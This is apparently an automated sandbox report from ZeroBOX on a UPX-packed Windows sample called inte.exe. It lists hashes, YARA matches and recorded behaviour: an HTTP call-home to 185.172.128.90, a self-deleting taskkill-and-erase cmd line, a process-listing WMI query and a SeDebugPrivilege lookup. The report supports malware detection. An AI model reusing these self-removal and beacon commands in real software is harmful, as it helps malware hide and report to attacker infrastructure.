popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

inte.exe

Malicious Library UPX OS Processor Check PE32 PE File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Feb. 4, 2024, 4:41 p.m. Feb. 4, 2024, 4:47 p.m.
Size 176.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 fa092cd96d9916f2e247067653cd1110
SHA256 110c64b4a03a6ed6c8ffd2baba0a5831fd8bd59ca6b23d6e885a8f34e13461fc
CRC32 E8411775
ssdeep 3072:fjJNYb6cSN+tDbI3FUAiJtFej2TUgObqt/Y8O/tOAg0Fuj0thzIt3Za:fjJNYuR0Ifu9TxObNgAOSMZZa
Yara
  • Malicious_Library_Zero - Malicious_Library
  • IsPE32 - (no description)
  • PE_Header_Zero - PE File Signature
  • UPX_Zero - UPX packed file
  • OS_Processor_Check_Zero - OS Processor Check

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
185.172.128.90 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: ERROR: The process "inte.exe" not found.
console_handle: 0x0000000b
1 1 0
suspicious_features Connection to IP address suspicious_request GET http://185.172.128.90/cpa/ping.php?substr=one&s=two
request GET http://185.172.128.90/cpa/ping.php?substr=one&s=two
cmdline C:\Windows\System32\cmd.exe /c taskkill /im "inte.exe" /f & erase "C:\Users\test22\AppData\Local\Temp\inte.exe" & exit
cmdline "C:\Windows\System32\cmd.exe" /c taskkill /im "inte.exe" /f & erase "C:\Users\test22\AppData\Local\Temp\inte.exe" & exit
file C:\Users\test22\AppData\Local\Temp\inte.exe
wmi SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "inte.exe")
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: C:\Windows\System32\cmd.exe
parameters: /c taskkill /im "inte.exe" /f & erase "C:\Users\test22\AppData\Local\Temp\inte.exe" & exit
filepath: C:\Windows\System32\cmd.exe
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
cmdline taskkill /im "inte.exe" /f
cmdline C:\Windows\System32\cmd.exe /c taskkill /im "inte.exe" /f & erase "C:\Users\test22\AppData\Local\Temp\inte.exe" & exit
cmdline "C:\Windows\System32\cmd.exe" /c taskkill /im "inte.exe" /f & erase "C:\Users\test22\AppData\Local\Temp\inte.exe" & exit
host 185.172.128.90